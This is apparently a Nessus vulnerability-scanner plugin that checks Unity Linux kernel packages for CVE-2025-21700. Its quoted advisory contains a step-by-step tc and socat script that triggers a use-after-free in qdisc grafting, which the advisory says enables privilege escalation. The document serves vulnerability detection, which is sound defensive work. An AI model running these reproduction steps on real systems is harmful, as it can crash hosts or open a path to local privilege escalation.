Unity Linux 20.1050e Security Update: kernel (UTSA-2026-005183)

#%NASL_MIN_LEVEL 80900
##
# (C) Tenable, Inc.
##

include('compat.inc');

if (description)
{
  script_id(296939);
  script_version("1.1");
  script_set_attribute(attribute:"plugin_modification_date", value:"2026/01/27");

  script_cve_id("CVE-2025-21700");

  script_name(english:"Unity Linux 20.1050e Security Update: kernel (UTSA-2026-005183)");

  script_set_attribute(attribute:"synopsis", value:
"The Unity Linux host is missing one or more security updates.");
  script_set_attribute(attribute:"description", value:
"The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the
UTSA-2026-005183 advisory.

    In the Linux kernel, the following vulnerability has been resolved:

    net: sched: Disallow replacing of child qdisc from one parent to another

    Lion Ackermann was able to create a UAF which can be abused for privilege
    escalation with the following script

    Step 1. create root qdisc
    tc qdisc add dev lo root handle 1:0 drr

    step2. a class for packet aggregation do demonstrate uaf
    tc class add dev lo classid 1:1 drr

    step3. a class for nesting
    tc class add dev lo classid 1:2 drr

    step4. a class to graft qdisc to
    tc class add dev lo classid 1:3 drr

    step5.
    tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

    step6.
    tc qdisc add dev lo parent 1:2 handle 3:0 drr

    step7.
    tc class add dev lo classid 3:1 drr

    step 8.
    tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

    step 9. Display the class/qdisc layout

    tc class ls dev lo
     class drr 1:1 root leaf 2: quantum 64Kb
     class drr 1:2 root leaf 3: quantum 64Kb
     class drr 3:1 root leaf 4: quantum 64Kb

    tc qdisc ls
     qdisc drr 1: dev lo root refcnt 2
     qdisc plug 2: dev lo parent 1:1
     qdisc pfifo 4: dev lo parent 3:1 limit 1000p
     qdisc drr 3: dev lo parent 1:2

    step10. trigger the bug <=== prevented by this patch
    tc qdisc replace dev lo parent 1:3 handle 4:0

    step 11. Redisplay again the qdiscs/classes

    tc class ls dev lo
     class drr 1:1 root leaf 2: quantum 64Kb
     class drr 1:2 root leaf 3: quantum 64Kb
     class drr 1:3 root leaf 4: quantum 64Kb
     class drr 3:1 root leaf 4: quantum 64Kb

    tc qdisc ls
     qdisc drr 1: dev lo root refcnt 2
     qdisc plug 2: dev lo parent 1:1
     qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
     qdisc drr 3: dev lo parent 1:2

    Observe that a) parent for 4:0 does not change despite the replace request.
    There can only be one parent.  b) refcount has gone up by two for 4:0 and
    c) both class 1:3 and 3:1 are pointing to it.

    Step 12.  send one packet to plug
    echo  | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
    step13.  send one packet to the grafted fifo
    echo  | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

    step14. lets trigger the uaf
    tc class delete dev lo classid 1:3
    tc class delete dev lo classid 1:1

    The semantics of replace is for a del/add _on the same node_ and not
    a delete from one node(3:1) and add to another node (1:3) as in step10.
    While we could fix with a more complex approach there could be
    consequences to expectations so the patch takes the preventive approach of
    disallow such config.

    Joint work with Lion Ackermann <[email protected]>

Tenable has extracted the preceding description block directly from the Unity Linux security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version
number.");
  # https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2026-005183
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c90dd5c1");
  # https://lore.kernel.org/linux-cve-announce/2025021308-CVE-2025-21700-305d@gregkh
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8a3148ea");
  script_set_attribute(attribute:"see_also", value:"https://nvd.nist.gov/vuln/detail/CVE-2025-21700");
  script_set_attribute(attribute:"solution", value:
"Update the affected kernel package.");
  script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2025-21700");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2025/02/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2026/01/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2026/01/27");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Unity Linux Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2026 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_get_info2.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/UOS-Server/release", "Host/UOS-Server/rpm-list", "Host/cpu");

  exit(0);
}
include('rpm2.inc');

if (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
var os_product = get_kb_item('installed_os/local/SSH/0/product');
if (isnull(os_product) || 'UOS Server' >!< os_product) audit(AUDIT_OS_NOT, 'UOS Server');
var os_version = get_kb_item('installed_os/local/SSH/0/version');
if (isnull(os_version)) audit(AUDIT_UNKNOWN_APP_VER, 'UOS Server');
if (! preg(pattern:"^20.1050e([^0-9]|$)", string:os_version)) audit(AUDIT_OS_NOT, 'UOS Server 20.1050e', 'UOS Server ' + os_version);

if (!get_kb_item('Host/UOS-Server/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);

var cpu = get_kb_item('Host/cpu');
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ('aarch64' >!< cpu && 'amd64' >!< cpu && 'x86_64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'UOS Server', cpu);


var constraints = [
  {
    'release': '20',
    'sp': '1050e',
    'pkgs': [
      {'reference':'kernel-4.19.90-2211.5.0.0178.47', 'sp':'1050e', 'cpu':'aarch64', 'rpm_spec_vers_cmp':TRUE},
      {'reference':'kernel-4.19.90-2211.5.0.0178.47', 'sp':'1050e', 'cpu':'amd64', 'rpm_spec_vers_cmp':TRUE},
      {'reference':'kernel-4.19.90-2211.5.0.0178.47', 'sp':'1050e', 'cpu':'x86_64', 'rpm_spec_vers_cmp':TRUE}
    ]
  }
];

var os_release = get_one_kb_item('installed_os/local/SSH/0/release');
var os_sp = get_one_kb_item('Host/*/minor_release');

var flag = 0;
var reference;
var sp;
var _cpu;
var el_string;
var rpm_spec_vers_cmp;
var epoch;
var allowmaj;
var exists_check;
var cves;
foreach var constraint ( constraints ) {
  # Check that the target release is equal to the affected release
  if (!empty_or_null(constraint['release'])){
    if (constraint['release'] != os_release) continue;
  }
  if (!empty_or_null(constraint['sp'])){
    if (constraint['sp'] != os_sp) continue;
  }
  foreach var pkg ( constraint['pkgs'] ) {
    reference = NULL;
    sp = NULL;
    _cpu = NULL;
    el_string = NULL;
    rpm_spec_vers_cmp = NULL;
    epoch = NULL;
    allowmaj = NULL;
    exists_check = NULL;
    cves = NULL;
    if (!empty_or_null(pkg['reference'])) reference = pkg['reference'];
    if (!empty_or_null(pkg['sp'])) sp = pkg['sp'];
    if (!empty_or_null(pkg['cpu'])) _cpu = pkg['cpu'];
    if (!empty_or_null(pkg['el_string'])) el_string = pkg['el_string'];
    if (!empty_or_null(pkg['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = pkg['rpm_spec_vers_cmp'];
    if (!empty_or_null(pkg['epoch'])) epoch = pkg['epoch'];
    if (!empty_or_null(pkg['allowmaj'])) allowmaj = pkg['allowmaj'];
    if (!empty_or_null(pkg['exists_check'])) exists_check = pkg['exists_check'];
    if (!empty_or_null(pkg['cves'])) cves = pkg['cves'];
    if (reference &&
        ## (no known rpm to check OR known rpm_exists)
        (!exists_check || rpm_exists(rpm:exists_check)) &&
        rpm_check(sp:sp, cpu:_cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj, cves:cves)) flag++;
  }
}


if (flag)
{
  security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : rpm_report_get()
  );
  exit(0);
}
else
{
  var tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'kernel');
}